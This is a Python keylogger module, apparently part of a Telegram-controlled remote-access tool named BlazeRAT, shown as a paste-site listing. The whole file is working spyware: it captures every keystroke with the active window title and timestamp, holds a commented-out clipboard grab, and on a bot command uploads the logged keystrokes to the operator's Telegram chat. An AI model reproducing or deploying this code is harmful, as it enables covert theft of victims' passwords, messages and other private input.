keylogger.py 5.1 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. from time import ctime
  5. from io import BytesIO
  6. from core.logger import Log
  7. from threading import Thread
  8. from core.messages import services as Messages
  9. from pynput.keyboard import Listener, Key # pip install pynput
  10. from services.keyboard import controller
  11. from services.shell import System as RunSystemCommand
  12. # import pyperclip
  13. import subprocess
  14. """
  15. Author : LimerBoy
  16. github.com/LimerBoy/BlazeRAT
  17. Notes :
  18. The file is needed
  19. to log all keyboard events.
  20. """
  21. # Get active window title
  22. def GetActiveWindowTitle() -> str:
  23. output = RunSystemCommand(" xdotool getwindowfocus getwindowname")
  24. return output[:-1] # Remove '\n'
  25. """
  26. Keylogger class:
  27. https://github.com/LimerBoy/CrazyPy/blob/master/Spying/Keylogger.py
  28. """
  29. class Logger:
  30. # Constructor
  31. def __init__(self, logs=""):
  32. self.__keys = logs
  33. self.__stopped = True
  34. self.__thread = Thread(target=self.__Run)
  35. self.__prev_window_title = ""
  36. self.__last_key = 0
  37. # Log key press
  38. def __LogKeyPress(self, key: Key):
  39. key_text = (str(key)
  40. .replace("\'", "")
  41. .replace("Key.", ""))
  42. # Space
  43. if key == Key.space:
  44. key_text = " "
  45. # Enter (new line + active window title)
  46. elif key == Key.enter:
  47. active_window = GetActiveWindowTitle()
  48. if self.__prev_window_title == active_window:
  49. key_text = "\n"
  50. else:
  51. self.__prev_window_title = active_window
  52. key_text = f"\n\n ### {active_window} ({ctime()}) ###\n"
  53. # Special key add [KEY]
  54. elif len(key_text) > 1:
  55. if key_text =='backspace':
  56. key_text = f"[BACK]"
  57. else:
  58. key_text = f"[{key_text}]".upper()
  59. # Append key to all keys
  60. last6 = self.__keys[-6:]
  61. last7 = self.__keys[-7:]
  62. last5 = self.__keys[-5:]
  63. needClipboard = False
  64. if last6 == "[CTRL]":
  65. self.__keys = self.__keys[:-6]
  66. if(key_text=="v" or key_text=="c"):
  67. needClipboard = True
  68. key_text = f"[CTRL+{key_text}]"
  69. self.__keys += key_text
  70. # if needClipboard == True:
  71. # clipboard_text = subprocess.run(['xclip', '-selection', 'clipboard', '-out'], capture_output=True, text=True).stdout.strip()
  72. # self.__keys+=f"[{clipboard_text}]"
  73. elif last7 == "[SHIFT]":
  74. self.__keys = self.__keys[:-7]
  75. key_text = f"[SHIFT+{key_text}]"
  76. self.__keys += key_text
  77. elif last5 == "[ALT]":
  78. self.__keys = self.__keys[:-5]
  79. self.__keys += key_text
  80. # On stop
  81. if self.__stopped:
  82. return False
  83. # Run logger
  84. def __Run(self):
  85. with Listener(on_press=self.__LogKeyPress) as listener:
  86. listener.join()
  87. # Return all logs
  88. def FetchLogs(self) -> str:
  89. return self.__keys
  90. # Clean logs
  91. def CleanLogs(self):
  92. self.__keys = ""
  93. # Start keylogger
  94. def Start(self):
  95. self.__stopped = False
  96. # Append active window title when logger started
  97. if len(self.__keys) < 5:
  98. self.__keys += f"\n ### {GetActiveWindowTitle()} ({ctime()}) ###\n"
  99. self.__thread.start()
  100. # Stop keylogger
  101. def Stop(self):
  102. self.__stopped = True
  103. controller.press(Key.space)
  104. controller.release(Key.space)
  105. self.__thread.join()
  106. # Is active
  107. def IsActive(self):
  108. return not self.__stopped
  109. # Keylogger
  110. __keylogger = Logger()
  111. """ Handle telegram command """
  112. def Handle2(callback: dict, bot) -> None:
  113. global __keylogger
  114. chatid = callback.from_user.id
  115. action = callback.data[:-9]
  116. # Log
  117. Log("Keylogger >> Run action " + action, chatid)
  118. # Action
  119. bot.send_chat_action(chatid, "typing")
  120. # Enable keylogger
  121. if action == "Enable":
  122. if __keylogger.IsActive():
  123. result = Messages.keylogger_recording_not_stopped
  124. else:
  125. # Move logs when logger restarted
  126. logs = __keylogger.FetchLogs()
  127. __keylogger = Logger(logs)
  128. __keylogger.Start()
  129. result = Messages.keylogger_recording_started
  130. # Disable keylogger
  131. elif action == "Disable":
  132. if not __keylogger.IsActive():
  133. result = Messages.keylogger_recording_not_started
  134. else:
  135. __keylogger.Stop()
  136. result = Messages.keylogger_recording_stopped
  137. # Get keylogs
  138. elif action == "GetData":
  139. out = __keylogger.FetchLogs()
  140. if len(out) < 5:
  141. result = "Logs not found"
  142. else:
  143. obj = BytesIO()
  144. obj.write(out.encode("utf8"))
  145. return bot.send_document(
  146. chatid, obj.getvalue(),
  147. caption=Messages.keylogger_logs_received
  148. )
  149. # Clean logs
  150. elif action == "Clean":
  151. __keylogger.CleanLogs()
  152. result = Messages.keylogger_logs_cleaned
  153. # Send result
  154. bot.send_message(chatid, result)